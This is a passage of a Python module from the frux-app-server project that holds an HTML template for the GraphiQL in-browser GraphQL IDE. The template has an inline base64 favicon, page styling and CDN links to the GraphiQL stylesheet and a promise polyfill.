cba74f9e105b75a00a08a2712a2cef3aad59c716 | 27,448 | py | Python | frux_app_server/templates.py | camidvorkin/frux-app-server | 21098234a7867908250022e3e1c0580417d1ca35 | [
"Apache-2.0",
"MIT"
] | 3 | 2021-08-03T21:52:01.000Z | 2021-09-14T19:39:10.000Z | frux_app_server/templates.py | camidvorkin/frux-app-server | 21098234a7867908250022e3e1c0580417d1ca35 | [
"Apache-2.0",
"MIT"
] | null | null | null | frux_app_server/templates.py | camidvorkin/frux-app-server | 21098234a7867908250022e3e1c0580417d1ca35 | [
"Apache-2.0",
"MIT"
] | null | null | null | """Templates for pages."""
GRAPHIQL_TEMPLATE = """<!--
The request to this GraphQL server provided the header "Accept: text/html"
and as a result has been presented GraphiQL - an in-browser IDE for
exploring GraphQL.
If you wish to receive JSON, provide the header "Accept: application/json" or
add "&raw" to the end of the URL within a browser.
-->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>{{graphiql_html_title}}</title>
<meta name="robots" content="noindex" />
<meta name="referrer" content="origin" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link 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t8FveDfo4JxhRMlUFRTxmjLRFBQwAOALN8H2e6oNkWokwvR/9bLgoczMg+lhdp4fzRzA5glMJRszj2hqgQOFl0Q8QABj2YDOqkxB3Ph/1FQG6f9wIRFz7/SQufdQ+tG+OUGx8mOiP+Ja6mqSmBWympWbSg2rICbkcRlWyH4t8zO+Xc3RXpbNznYeNVagdHF569pLzwflD7nV5eo9A2Uk79vmyJcAQF3I43LNnX1I1o7/cPktf9tHvjROSGCJKTvUdzgp0syWO2/v5Jq4r7fO7pQtVgImQN/SZsKeA319t6AhFBVBTCjvacc2l/R5adUGDTyyHy/PeEg1Ej5oWJQjXPwrYNfCiugDfUXHWWt3XLIh8GwZjP7EBn1f9fBXINkpgfFhbNOXyX//+cUe9v3Ivowsg21gBcq4NBv768nHDbUUxvHkHSV3oEj9BmBhlxYAcpt2h14izg4IkDuAu5J9Fj8c/tUErFnFuNyGHvsO9aKPe3sChaEBpHr1xc3km8ubSbzLm5isyC+uJBMZqesJh+eSWIuKiw0kNaC/fn/dn5IXtgSbR8kg317Jx8k43gtUmObjhUEWIN/dl0c4K44+8Sf3hSF7tjgA/bNUeQBRN57iJ+fcDhNQHaiREOGLkp/tpQcOy+lATHowHx641hGMht9Yiljh9qce5z1VmDQC+jhqhtrSYO1sV08Ffi3aOFG+zq6XZGmRbMXqOH3FKSwdnYoEXBYQFnA6kVvB+ji0fgmDZRptj7C9KDMCyWmoJ8v6ivL/zeTf4QGuWHkF270XqqRwbuntPDf8Dv+esLhvkPoZgbzkVrXIGoI/OkZBfK0aUfOKA3KNpzCk0/FkRWZ+5kAor28nh4iellQFlAUCOBeLs9jzNfgoITVAeUArkxwSHRZPpBleOSKwcvvFrL9mi0OEOZg/sexGoDZ7jRzYYJBEyv5uYMPfO7XJxzufeD+TxWpxvDs/CUWIJ304HPECf8uZ5SGQNUolJgbYUE5oBQeI+sOFV9kAfL3TyeQ1/d+wtwVHALNZDhemUk5O5gKf4u+gKBm3v+d7j7hwImntGBKecMKCJAFd/QkTLhvRPsx21BpbaP/DTTrgSb252EuP7p+NPO9wdgMlmazLyh3WAywaDCXEvGHiL2zyJMb3mMyEcwZtzxgJezgsn6dAujCCQTcesKhFViJNgtmHJh4PS2UeKiwRkBfhsnAYAzWywAPW7zkU8V4CZiWX9w+1VRWgCT48JX/j/rOS1J3sBPS3xdiY2C/Rhfp96k7WQATXaXos3Fj8VwWl3Ve/htn9///RFHr7heNSDZ8WaUFH9iTGQEoGPnmgv+4gpqWmAAMn8zXikCKl6jFAuZd2mQqwceGxixIWDdVCuli98+QaGJuJ3x1aVJ0lWx6NP4eB1KTzkbUYZo1aOSQiXCTEoCMv8DKgpeFWiw37BrucvuvO60A/P1wDxCG4GE9mjxakaYLLx48BUMOzmWBNl9SleG7Yf4qRa0x9hw8ikYuobZNjOrPRqjB9XPXpCjsH0TpoeRBTw9hQY3FVxc3ko/PLCfjji9i1h+sLLA6I6CIWRKoyMRcR6QM8f8Rxe+zZyb7Pfw+/h3McqQN4beDtwEnc1pFPjPda6jC8OZwO3z3fWvedlcBHWsPvmHNWAsbIhgcH34D/YuFnox2IwCitFAf38vN1YE2yvIvnKaC4IvBQhlzbCFL4fhCEeD7ECXGCDWla8SJ2cGAbgDuDf4sTNnk7CPspG2PsKOr9PjVVDbtaerpBBZExSh5PD9YkggiShOZlAqCWkMHxeKhMPZ5GFsPy+X+Ne+wIOXLOz5kLuX0sytYqzuU2mWqqJGG9ESGAvcO5SRN1W4nFgTHhd3A3ABZAdA+T2p/pEMaFB4MhBQU4QFuVgCDqdBoHfeFa0BAZsLxJSz1FOBltmIIyYLLWxWvD5TiCJYZkQ9hZsoq5nq1ZZXUVbLCMZzEUILgXYTL5Is8e2vVhh05VTysGxwgIMCFJQF+B0y/huWAoTJXWeqyfVZP5OF57lIA+7jM2xXAPe4OALbm52Jmn9KC9nRnpyA+58F1w9nDdy1tQ0hKaSYZf3wx61nwVowA3/Pa7umKJ+SV8jzDuAHShCbMRzxQdL5NQg9THocCxs7h5LXNZXjN6wNiXKlfCIy7vkoRlgNYo5Hygwsy8bhNMSDzg4E4sBgaNFgM+D3EAdzkKmdxmbcrgKcoqjy9wVFaqZbTnXNujdsbb16hvl1KaVab8renrqWRUUe+ZaalpxUBPhsb5WxJpuJ8xLA9M3TvBkBBYdODHKagptSlQa9gkMbsCGx0nKj2uREGL4RqrXwZrgrcXsliWJl5QPX5LEvbxbJXbrqmSoon5QoggsLqaQ2JGmr4gUoLGwYa350BQYmoBLz9iDUoFSap+V6o7IKv6emx33hGiPirEaro2QLAtXWlyhIBOK1BPpx+IEIZcWQ+m5okmdj+QI8GRQCFAIW5SkUB2ORiojv3HmQ9XK4AJnnLJ/zXjg9IWX2V4s0iuHMHGwDq/iozTA9G1B/DSlytLoNpvj7nKIsaoybdE5wGOCH67f1E0STEdCUooUBdCn8oE2BnJ5ncwkLwFRH3rtzC8keiGDy3YdS3V4sPfHp+nSe+e5JNAcT1uTHINkLIKzeMkWAoclBayM3CVfDESSuZYqi+g9m1Pvsoy7O66p/Ov7SZPLZ+tNsDT1I2AE0tra38mhI2g0FvhCq4nt+sjWSj27WsrKpi1nUHl8cMJn57ntujyaNYmldpXSzP8RSL1neQfZz+P6XY7s3I8LObJpA8lcEZMAlxWnsqCi8pAvhhyP9iMnGFi4oAA07h5yK46U5lBetni0IrNSwDKEc3RYLdprQQ/dYi/HC/UPYKv1fqyffnTsfO1KfHtGm14iXsMQ8p/G2QfSiA2ylSvH3zSA2pmYfo/vJ8WsemkO5ItCmCddmHXapMQ3xge/5p5hZIuWd3KEh0kSkt/De9lAVDgNGHjy49Zws0cRgh5+k4ipFSpFDmlSr7DVkzD1bJnoXsSxwAud4+NUCugHSb0sqpukothfFe2SySIoBFELp7BtmWd9KlSjXkeEHmKaUN2xsHwMZQClaupdaKHuYr4JmBiAP5eWcLqdhXdn1sS5UJghO2/1FrgoImpYXqRg8P04HM94YCeJai3BcaEMEPtRwouPTvpELprU0jKQLECFBFCFYeV0glULCCl4YilbZaAzD3ntowhlW8tbZQrITKSl8LEr4fKVJnlX1w58Qk5JbA/vhchT0ba+HlrZ5W9GWQfSiAMIo6X7XCqvmOdU31rILQ25tHihEgDoFiFNCZa12ldVXkk3Nr7AGutpZOgzy1tYVuMdBT+TIQiPv6y9ZY1TiOZMI+nDxSCH8rBV9qmTBwIDzKgswefW6Q+TCpCcjqq4eBpoyrtRWKD+MCNR8f9tEEXYk4EhH/by5tYsKtdaE2/K/bJtmr4lwNDiHlqJSORLzCVwVBuBf4pUilqi10Nwrhv970RzWn2tBYWMSggvPCfofMj4ICmObLh4LgGQpcVIdnpu5g/magz16cjY8ODSAoUdXaMoq03bhji1gBlCsuAX537oUNip+L7kpfZQKgABCgVXONUNGHhhkh/C3dSyh2pJDVFgLR97BaD6+4eB9bvFkDoLTZkUNGK6fSQuuuHujD8P2IeqOeO6uqSJMSQGcY6h4Q9NR6/RBufIfSmpGy0ifPQkrh5qqY/mDzQcut3oRfiu9I1yXV7Xvz2SGuVK1SgIbA9/+6t+LPaS0AFMB6vbDiqD2cC2U53vCLNHeEIZeN8k2trZ9Hiy+z/vMADbTRUAB4HkocCkvTdvnk3lGLHpe2W9V8RROVXiL9UizHFtgdwMrMEdOBQka5spS+9cb+RhcjGrrUUsroRPVybUSyxZNtwK6mlJaoVAhigZgB5rReqLzQsIJIeIYKv38LDV99lZW+Spzyap+NzamkEFEohIIhb98vTnakp5QWyoBt/IVhPj/pcVB0WTGIBStB7IEyalRxOqZvEWQO9LASQrHYBoWYjrTQI9PF+9Og9kIBnNFTWSROemVzuoGxxeqlZlyyBv6waRz13Y4ontiOpc4ogkIGROk+sIGROkMLqBI7DGuR9WJ6FDUSa7MOq5T3Fvk03SdRiaPQCAQhH55OYoFItWi7xLYE98xTewoWBpiJ1GImKP32Vs2LA85AAWToKUXy1oEvVRt1cukp+uetMbryMXEt0N6oby+qdc5oi9ZXmNISA5ESl4ESUSY2rTfnK+IaQZtVoXD6Y2sjMOgLJiVcG6xHBB0xKASpR1eyNbCyPDWMFZ/Zb98nVAlVq6S6G1gnpI8OtXQogHw9BWrwMtXqo6UUG5hm9NQ9Jp3G6HZUI0GVL2QU0NzjuPkkboALCmQmCMIhxeat+4fLgriD0sJUHigkb1yPZOLjzwgew4RH5NwV7gFHog1YcO5WAMyKo6e6mt+PhXjEL71Y7OaAfCiAEr3lSnH6nbqWrvrgvr64iQWl9NYaixcPkxICo4V7ABwFzzswvWAzwH9VUiSom3jaS+Y2TGvQqisV/cCaAaGpp69FOu1h4iM+gvl+YJFqbCeLL+IWtriSe68VChwKXm1BcWKv+/AgK4ECqNZrtVSpQ9BGvuAmgE1Yjz3kuCYECGNOLlX04x3p0GA5yDMcv0zsp7iB0LkIP9cbCgDfgftQWujnkIg8PPX9UIhQqiiQQQFShYpJrXWhRgOnr7sF0Db9uR9Z6MSKBUciCrp87MpWWXxRBqw1ePIRgicqpJ44lf6p06EZkkmHIZbOzEApEASlJ21GmN0YQKmk/F7c/r7H79tWrj2AuVxKCwEudwu/lL4DdwRSdyDEQNzDam3PsE+b0KPCcvTRBaycGp/v7msHuStiQWo9LrAMo098r4d9WgcF0KhXuqR7qRmsRiEmmdAPrRupO5IM+Qn23OaJmsgxodDQCSiNmMbEHKXAEZqOPF0OjGsHP5+SJYZT7LlNE9ymiOQTg17dNY3x+7eVTVhOp4U9hHQtXBmkT6U0oScsv8H7P3eaeQC/3136SGc3WHzVB6B1A0JTn3NC6okgEOrT9Uophft4gJqwaxVO9JYbtsRO+vH5+WTF6kIwGnm6HBjXjcIZpbU59wQLYLlL8PEOIUBsYlBj2ycGIb+Plu6xxxaxzspfeFDoHTMlyFI5647UEbuzVdcKQB4PuOrEl0ZQ0IfRVE3BNGzwhZe3Oe0lyK8uYbwEmCKrZEJikKSnFQCCrGoW2ITji9t1+kuCj/FxaA0/WHSxzUM1UF9xiP77qacS2PzHOzmrcICX4iSoDHV2UKFgzFuxG1cUQKOeFYAEbDY1kg5sHEyK6cSq7PTbDQbzds65tU6HRCDVp9Q1hsj36x6mBpM615RaoeEWPN9GBme74K98kzU24T7bEs1HBgLXhwYbVClK9GzeZBXGdz2SPIpxQai2iVO3AGPRdOaqNkIB1BuBPhm+mxpltnQKoFLQCPeC8tS2jsnyhgWAjY1AY7WCKQ42m64rXRvtLuXwEdt5++BXTGjaIvjIAmCwBpQHKN/l2QJvW3UYFaY23l2qYEWRUrD+9mO9LtOASicSiDKcBQWhaT1d3+0OJYDW0Ekn41QboNSsHUyZ8aQCwGcjv6+0EKB0VaEgPQbFhaGsDW0w9VFujKk6yPyg58CXVOIBbOzZUKf7ESXAoE2zUd3rzj1lacBSI9EogzYbvp56EKiCjQXXuxJAqg8pI5dnFDTVM469Dh4dUhJGvlHpXQfPgRYFxIZrJoSTv26dxBiBXVV4sBBOl6SzUmN0gyI97OvBIbgnsEWtyjzo9PqXZ+xnrolOA9SsEKjAaJRKaJw4X5rtVAlgCIhkeurWEkjoS6acineJhBRChLl7ngwm4cTarEBPDtfllV3qrES2RqlQlqLFCehqOg9KDh18kYe+5mXfobrwnwN40BIpSmcL2QxPFkm5AQVQAOlG5FUDlZizNlwEqpD/7eSk/dbXSgDR9hlnV2oeW4aWXDcOilSk/TqtQNJSVFPGcupKAik1R6FyT627U6nICRN1ETBDx2NHL09pdib8KPHVQoOO+AaCgzpnRUrXTTtwW14GikWcEVMiMDiVnrBIEepVE0vlo6AB08JCDI595Lc9dSJK/RhKrEcQapzKjkpVElT04G/MOebSHMYaalWA5yB8zyz77AA9Ke2OPOC3zonPjwXFaRAmZNYOvN/IJIsomnHWCYagGfxZpJ30+lJwLzjx4tP3aCIW+Z1nxkVp4iPYX3j+uhmFUj4f2Y1CFzrz8G525Z9haU09Cr481ecs2i/NQHjezQNuPYh9UADJhiZbpEKAnmstm25z7nFquo7RtRLoQU3M7U66yJDp+DM9ZT11H/jcv22bpDi1BqdgZ85ZLwkrIvNqPQOtRcePX73C0oF2U1+HbprEg+gsz491kVpGf/Hge/EA1kEBfGd8xtUwNlUXFXTOFsxXnDbtGd7hSXahR5NHO00tNdOjeabyEcG9V3Z+xAJxapyE2OgQXgQxXQnyIXaD7EcvPklJj4IfyBUyCowuaohjoFkJNPAGY0JmpKDTzUC7jJcVunu64mRdxyAaqvF6uWGUl7tOGQjSmGMLNQ8hQdZgpIeYZJDeQ6+BUq4euXiJ6BITlps0dunhuYPsxTbYJEzXMRkEjsHfqOVQgdlvsJNfwnQogFF67wdwJTAIU9RZTba0UE+APgPk432RYrLNGwgnL9JrRuTb1ao4KLtnPMAlBwXwOrWolK4H5K0D93+qqc1ZasVFN+Rru6fxFtxQXe8hKOPpZ1eqDu6UFujs/2gcn79FHwDFSGk0WL0ZFIA8gLWv8JzmUwkNOoiqS7lrb1grAAJLoKfWQhqitFBcc7ebB0k4UwCIt5RrJOXAnIAPTieywhm9C4kU7EOBjxarBs1LTxt37iF4QEKhAJ4L8sFwUE+/yN+siaR+8l7NU3yyqorJjJRVrNqsubbc/aeLrX48kvnAVyrySHtXvQdGSUEBROyZRRraQbeFIB/YezALQZ4i1GsgGRWGcCHPKMxkdFyw2Aw++gwy/6xPxoN7KyYA6m2cPqX1VS6Z1ahcg093F28pbU+gCtcBgYKbAd8XLb7nNbooUscbzMwSFXo0Nkwy2X1DU3C9qLFwpTpRvnCtYAoK0XHatWX68k1m8qtR0MkVW2LGXkVGZwPBPh78dooUsykAKZgDzY6A1lmNml2eakMpJ0Z0YVwT6rkl4QCkXnPJnJdIKwH8d/w38PrhlMBIqERqjeQ6KVq6ruKutozx26P6bPrZFaq/i8Ccu8ZJ2zoBp7apUQmtvehTwHPX86nPehToT9wnqMQ1lSc31pPPzq9jMQIdl/dqxVnIPhTATym2m1EByDf0Q+tGsCGjbdnU8NHB0Lv4ynbGSwCFglJcnOgoyEHVHHxHBOTACoPoMbIMMBPB7e9qcA+nPmoBJPNZGlWuFtcADZW7ZvLhM/5IlV6ZC5YTKvkw0x5U3Xo+GSUuArhhs8+tYexBWhaqL9EdyZiojS/8wDbIvoU+kBuDfDwg1FsaH9RQiF6Djrm9fjeCYAiGYaAjhBwlyVAUqGXXUs6rFotA73jXlW+0ECTbaK6PVM1UlNK6Y7yUlOK7qjE4mV5ZQN459DV7vvpN7TX3KEBBny5J1/xOzpZmMqsmUFb4ZAKg/udGWADAJLMrAPkmuG/NO8xHVZq844sFhQKaakSVbaSg1280pAzVxoaDeGLIwS/bfQLju8ce+05TLT/mN8BF+p9lr+q0oCeMcxH0Z5Ybynm10o4hgIwsCwLDJhx1HgvZlxRAhFlqAbRaA1AGOOUwYCJPQ7GHp1ZlQw0rrYX5DpIQtY2G64bLodZhh5JV1OS3RxjBpaDVNEacYgE1/f9G3RWJcVcPikCKyeDER4MRmpOqXSAaxX1NOhXH/n2A+YQfsh4uVwBPgR3EXxSAPC2HYBVO3TnUH0Q0vT3mu6sBPkSTMRwCJb1aTxj8HnjtleIKOLVGH/m2bVx9VGgG7v9Ms/C3bL2uYuzMaOOFAgrwMjef/LTHnxGLwOCY3QUpLD7hykKsBcHBIHOZ/HJUUjwpVwD3UGT6mwKQKwK8aFB3Y1Ajmoa0DPl0mcuOnvZH6AmNjjmQmqAqzlUhwXUiPrBXJSCIJpseLloBAZx9GcMz2hcfaSAnrqUxF+v5LVF26i5PWQZSmhXKCxwGL+/4gBVXoTa/ycVBInjnuG4jFC21E5D1u+UK4GdoDfRXBeBoNoI7ANWEiPpidhxMbvjorloH4CJIryxkzDrI/2MKrY0eKrRdG0yaOqt0ssE6AM22K1YFJi6nVRS4VeGhHgD8f2gWQkYDgoU4hpQqlTj9nCmGQFmzlDzNCpcDpKDgR8QMBSi+qobaNimtDTlHGW2Z3ouW3IS9XOYtlmD6P50S+txA/89Cf1cAjsFCALl1NA39iQoIAmw4IUCIiSYY5I8x6AHYW5hCNlHLIS59N0svwZKAGYmZdpJv7K5TEJ+B8l8lyi6pZx/Kxtn3QZBQq3BcgYJcngNHxsMVkg9H6wdzBEGlBX4/+OWwgkCygbz6HYn9WAOOnDkX7hmePwJ4ON0R/0CBFmIUs8+tZlkPdBa2tWAJ6hyTpUAdJ3ER+MkeX0BxA1MAXTcOl6yAUUL4lX1j+amFv4P5DksBGwfAJkWOOJgLlfyE81RtA6LaSnUNEFgw8HZ0wtsHJbE267BTmi5MCEK9A2jXL7pI89UqtXlTI0ubwupA8RCKrjALEYQoyIag5RgxErRGQ9GeLslgWRsokiZr++M0uIeYE0vZWHO9tiR7EJB1y38l3kctgIQISQG8QFErBN51ayHQJ99rswK2qbDUIIWF3LzSZ8AcBxehmmsDYcNpCwIQqfoRigAuzQU3KAJvLtwnWncnU5cEroOeW5I9CMj480zm48IsbHEF8CuKLCHUxqpwHLT/M8W8NhveuXliq1YA/g4df866+hZf2cEmBMtPSElwEGkfd3wRSz0qkYfoYSFWAjcNMR1pLp8fCr4EyHgXZv5LiyuAWyh2CMEyVq8DGm5Qpqy0pp1dcd1mD+Btr854E5A778FSemGqQVP45+geBEuRs+GY3jzt4TLEpe1mQUJpbJgfC76E7VzWHRRAHFMCs4RgGc8KUJvgi7JndLtJJ3gg5/yHj6228O+00lpL+XcE7B5f/y6LE6zPOcqan5ra0VLs6kL2A4FKxA3QIv0ovf5O3HXxMx9fDbP4gS9TAMvscYBQiibxkIxVw4BSVaWyZpi/yO9Lgoyf6E5Um0aEWgBkMNoSFZdSnFAyj9HrQsQenYpHiy+zPHtbswitBhLpZ2FGAWor8B1vHPicKa3mceBC6B0A2X7tOgVw65qXJAXQK8hgk4IEbMG8pak7FQUF03Mlkx1pSTXSC6TU4Cu748SUsiH4M1J9YF0CjTvmNMAC2VVwhqUGobwwyQlDP5HVgNJCFgN/RtQf2QL8DlwW1BXg32IMOD4Ln4nPllq1hdCrArLdE7L+P/FhlhZLVhC0RzwoYwEsvsirK+XDEflGugtCjTZltbWM+sy/9ADbsES3Jk+logQa7gny+09vHEv+tCWGWR7oiwDwZ9Cfo1Qbv4MSY6RbJUtGKggS5r1m7LYXADkuySygmCEelPGCgT1XD2GnqdKpjkAYuvbA0afGbgsT2pvNL/IKPzk6OPx/LRWDAs5ZgKV4n5oCeNFMJKH+VI+AzkalhWj4cpWBljC53dFKLKBbQKb/2SL/L18B8eGSAriLIk08MOO5AX32zFB0A9AKq1YyCyZcTw0aEdAF0rhsW4ISW1EAMivgRxRJ4oEZr5EJdfWXy11nGkZ0Hr0O4vQ3NRK5bFsUV3BCmKQEhogHZjwgD788Y7/LCgDts2i8Ec/Q1HiLyfaycGUF0LG5HuA+ikLx0IznBoDKy5WFYh0DD7cQ0IZCLtOWoOWvWVQXVwA/odgkHpzxqgLRLqt1ag8WxqYHi2dndmykuFnV/JfW/8T3Fe3BBk8HIp2nlbDjz8YcainQhvbfWxNeca4AApvTgb+hKBIPz3hxgLVZhzQpgA05x9jwkkDx3MyMIi7LGAFg0bTwy8EJ4TcHxIWt44UYDS6gXgFqv6f2eY1ydIh7rakVWOXTevw5lYVnMM3JFCGpzz/y0NcsbiCEpLmhiU9+auqwrNV95gDsx5b7UyMavAQo92TIsibzX74S0/da6EaK/Orixsx5lzaltgbqP6ZRpAPzKb69vCVVCQsub03nyMBPx/8+n3+O/PPpd6d+eWF96ufnk1M/Pb8u9ZNza1JnpaxOnZGyKpVeW+rHZ5Zf+eB0Ymr0iaWpww7PSwvdPT3jmU3jc3qsequ4U0JEFX0ATQF+tsGxgQfv/9xpF15WVRF5KHmkX9fOc0JRKxWQmt6rhxb/fduULKoU0yadXJb6/ukEtrc+PJN05SO6z7DfKK7MOLsybWbKqiuz6B6cfW419uSVOefWptH9eQX4jO5Tul/TgS8uJKd+cWH9FQl0L6dRpM+9uCENe9vToNdyrs+emX+j8mYJ+D7UBekfYLHQPQL8EdT1Mgo1X6HJCdBiBkaKmprGurKcqquFO/JPZ045FZ9GFUJu58S+Vd6mqPalBQCCzwongUCwBYHWzF8Fn+6FugfWDi8cfvibjI05xzLzqkuKGqyNlXwfNWrYc22BN2WGUUNS3ApZDkpwwQLgwg/cxj/EqKuxqqG2bGf+mazX987O/GVSvwqzB7yk4SHOph4hXehvwb9A2/NpfHz9uwULr2zLKKotu8oF3qxrgiTLLi+ZEhhjhidBTeLqXQVns/+yNTaP+nsNgSb2ZcHQozb7DmnCv/hZ9B/Ernckvl497viirKKasmuyU9KsCxzv97tDAfREvYhZngrd/GXUx8vEZjBrsBDtvNTqUWXEBdV5oJ/4/7CKfrViUMX3qTtzrMRaS/xjJVD8uM0KQKYEfkixyExPhqr+usWpO7K7LB9YaUYhQCoQPr7SwtjyO1TYgs128lPhr1yVeSCP+/b+sED39HK7hN/BCvgLAmwme0gNCel7cu9ePqDKjJbA9yoMQUvof/MXn58qutpFV7bn+5HwY2HQQwd3KoD/othlwgfV8MWF9fn0xKw3WxwAJb5K65Nza4g/pEfp6d848cSSgiartZ7413q33cIvVwKNTU0Wq9U6uK6hoam2oYG4gjqg0TXUMzS2igY5mhrbzTpb39RQO+Tg3MKOcaFWM/m8cy9uULxnjOYyewEQApx/2zb5WkldZWWbToamJrZ3aw2Gmvr6TIquFO5TACl52ZYrhfn/PSpx0ZZ+331J+ruAAYvmkoGLXcOgxV+RQUu+vg6DKd74fp4db37/DYmMX0Amro4nX+zcRDalnCQZV4sIVVguvezsquLyx9e/W2qWUxEK4CsVdqAxx76zk3WaNRPSdcXg6oNFF65p3QNVdbXkYNol8tXuLWTcqmXkraXfsL3b38X97mtQGVk1LH7hTUOXzbe4bUEJvPrNJ5a7xg35d9eJkXUURA+4Vwb8/16xI8kzM2PJ6OVLyJ7L55nFoDUuuCrzYDH1F+sCTaIAvrywXvFm3zn0ldkVQONHZ5KKtPr9h9Iv04PnK/LA1PdIt6hhLfaUwVB3z/ihrzz4/hj3nP7S6h4dSTEcuI1iDwXRK/AC8TAemDqGjKeaPPNasVaO+bqhB+cWmcEVgPk7/vhiRWqwtnL+G6cSMraEmv5VWt578pnj5Klp0WzPhOh4X2vEHi6jlu5RwyxuXT3pB3Il0I+iUe8PI4Qrgpe/mklOZmdoKvpIrywsezh5ZJnRXQFc/5Mb3mOjsx3XjvzT5N4Vg0zZMGWbdjyoem9hiibTf9elc9YnPp7IDo3uxhf+Ri6bll4Ubl9c+IGOFAeN8mCgBP722UckJTdbqytQ9MvEfrVGFxC4MuF7ZpJT19JIZUMNq/6D8D+zabyZG4AaZpxdWajF9M+6dtX6jy8+tmJ/mED4CZdJyKYlxBMKAKv36EGSEhhoBCtArgTCv/3MWlRR7tQSQMpo4vElBagZN0MRTM9VQxjpx/NbotnJb1bhh+n/n10fF1Nl55QOCUHiSeuSrCY5+aXTf2APKpuPj3jH4rHVPWaE3Ao4YKSHBJdg2qY1VrqcmgGldZWVL+14v8gMfrLU527mAZlweR5aN6LsUnluiRYzb8eFs9YH3x/L9oRJFMAB6fTvFjvc4tHVK+o9SQlEUDQYSQE88uF4pHo0xQPOl2Vf+926EaUBgjBD9wrunuUDqjfkHCvS0uBTWFFm/c+82WYy/Ru4LFp6TRxt8fgKibEHA2+l2Gakh4WXPmDRXGt5TbUWJWDdnHuiEHXkgWLgpG7jHJ0Swus/O78Opb4NWliQPt602hoSbZqTH9jOZZHJpldW9yh7QPBFimojPbCeMSPIt3u3a20FbZx/aXNe58S+tWJiji7rHRpHHfk2H9WcWl7m1vOnrb8zl+lfzWWQyaTXVvdmK+BmikQjPTQEfp6aHk2OZ6VpUgJN1qa6Kafi88S8RN0F/azhe2YWlNVXaSr1zbhaxKL+3aIizXT6J3IZtPSI9aICcEgLPk5RbDRX4PWFX1ivVVVoMgNqG+urRxz+BkQijUL49CH8f982ubCgprRMy/urrqsjIxMXmSnqT7jMPS7JoddX1xhbdWCP6GE30p8zjfgQP9q4yqq1b6CioaZy0P7P8syQHjR6uu/5LVFFGZWFJVrrvL/evdWKMnETCT8ws0fM8BuZ7x870uKTJbMC7qE4Z7S04G+mvEuWHz+omRqqtL6qot/eT4QS8KHwP7tpQtGVinzNTT6bz52yPvzBODP5/YTL2j0+O/2l1WPScHltwGAjpQWleMDvp8doTg3yGoHy/vvmCCXgA7P/j5snFl0pz7uq9V2dycm0Pv/JVGIy07+By5qle+wIS8ikERafru4xdivgZxRrjfZAu0ZFkn9+MY1cLszXrATK66srhhycmxMY36dBTNXxivA3/X3blHxq9ms++bNLrpLXvvnETPl+CWu5rDHZ08WSuQKPURQY7aEiMtx34eckt1SzW0mqG+sqxx9fnN0pIVykCD1L490QvmdWbmFNaanWd3OtqpIMWTrfbEE/wmXrMZ+b/o6rW7TNDRhC/oyfUUZ8uNgsQ5fNt16trNCsBBqaGmvmnFubdWdS/8oAUSzk9gq/2xMiascc+y67oqFG80upqK0h41YuNUNrb2uIsiyxVeKGxOhIAbTSLbjDiA8YgSKki0qqXGKRql+VeTCn9+qhJWLKrvtq+7ssH1T+9cWN2Y3WJs1ktNX1dWRK8nJrj5gRZhT+HVK9v65Of/uKjmZtiPwC/0BRZNSHPTppMXFRCTSdvJZW8PyWqHy6eZtEXKB9wb5H148u2pF/OldLea+0aurryUcbV1t7xow04+lfxGXKJvxU1nS5evIL7BYzCj8nUliN+tBHJC4ixZXlLnELFteWlYw4/E1W54S+1cIlcJ3GLDg+vLbfvk9yMiuLil2Z3IOTH8KPXL/J6vwJl6GJ3SYPuwFBP2rdWHS9ZK7Af1NsMOqDhzsAYsic0msuKQGYrAnpe7J+szay2ExMw57O7/dcNaTkm0ubM+uaGqpced7w+ScnLye2k3+YGU3/DVyWdGr6qyuBBykyjPrwERgMX/AZuViQ5/IowtSK/MIB+z7Nuj0holq0FCuf+siihO2ekZ1SmlXg6vAOBGzHrFhK4PObNOiXwWXIOMJvbxZqrg8YQFFrXCUQSf7xxcfkUNrlNnDLN1Yvz9ifhWm0VAk0inRhc4Qfz+OR5FHFS9N2ZdU21bvM3Q+y1ze/n2fWU59wmRnAOm+Z6T/MYqglUwA3UXxh5JcBJfD0jBiy+uQR1lPu6ijCwprSa++fTkjvvuqta3AL/FURcHYia8jKN0smnYzLyqu+1qYpvSey0skrX88iJszzy/EFlx1jnf4KrsDtFLuNrQSGMarxOds3ML+zLcNmLpTl5A8/PC+9y/JBpf6kCCTB77J8YNmww/Myz5dlg8DD5XFdUL7Jp4+R52ZNJias8JNjF0UnQws/1l3RUXIl8LCR4wFSYBCEIsPiF5K04sK2TiOrPVWSnvvOoa8z7l0xGLUDTWbNGOC+cH/0Pkvp/WaevJaGYEqbxnOX11RT5buePPj+GLOf/BlcVpjc/DZ6kMXQq0ezKwCEUVQY/SVhA/7984/I1nOnidV1l8CuCM6VZuVNPLEk/f41kUVUWOptxJ3miOqjhPf+Ne8UTzi+OCOlNDO/rYKPdSE/l2VkWLDP3MJfwWXEYvjTv1VXIGb4D+jPWIom4yuBSPLQB2PJrK3riCvlw61VElJfuOjby1vS/7p1UvYvk/pV2KyCUMOd9h3iXrP+IvH1yhe2ROd+fXFjRk711eK2mPr2IfcNDWTF8UMEHX1do0xt8hMuE7FcRswj/K3EA9DJtMgML006jcK//YwNlrSSdi1rbVN9xZHiyzmxJ5elP7VhTB6ECcpAr5TektB3Sgivfjh5ZMGYY9+l7ys8l13dWIcKqnaNbU4tKiBjVy4l900ebXaTX8Jie5ef2YSfNQxNfUuuBDpzNlNTvDwEpB79aAKZuWUdKSgvJW5YDRUNNaUHiy5kf3A6Mf3PW2NyEC+gSqAOAucrhWATeDZjoAGWypMb3st79+jC9C25J7Ou1VVca89pL63K2loSd2QfeWHO+0zwQ8wv+BKzb2dJPrpMHWox5erWPGQU6E1x2iwvMYRt1mFsFiEi1ahNd9NqrGtqqLhSnpe/PGNfxuijC9Ke3xKV3X3lm1dvT4iogjBKSgEC2l7FENicp2e+PP3sJiieO5P6Y25iQd+9szO/vLA+7fjV1JyKhupSdwg9J19lVhRGwPeOHekvpz7hMtBbkouQySMspl6oD+jaHBh8miLTTC8U1sD91GyNjFtAjmSkso3t5lVPXYXyrKriwl0FZ7O+vrgpbeSR+Wkvbp+a/dj60QUhK9+8Rk/n8mBqllOFUMcVRCMEGYrCAfi7RvwOFfLaTlSh3JU0oLTX6qFFv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rel="icon" type="image/x-icon" />
<style>
body {
margin: 0;
overflow: hidden;
}
#graphiql {
height: 100vh;
}
</style>
<link href="//cdn.jsdelivr.net/npm/graphiql@{{graphiql_version}}/graphiql.css" rel="stylesheet" />
<script src="//cdn.jsdelivr.net/npm/promise-polyfill@8.1.3/dist/polyfill.min.js"></script>
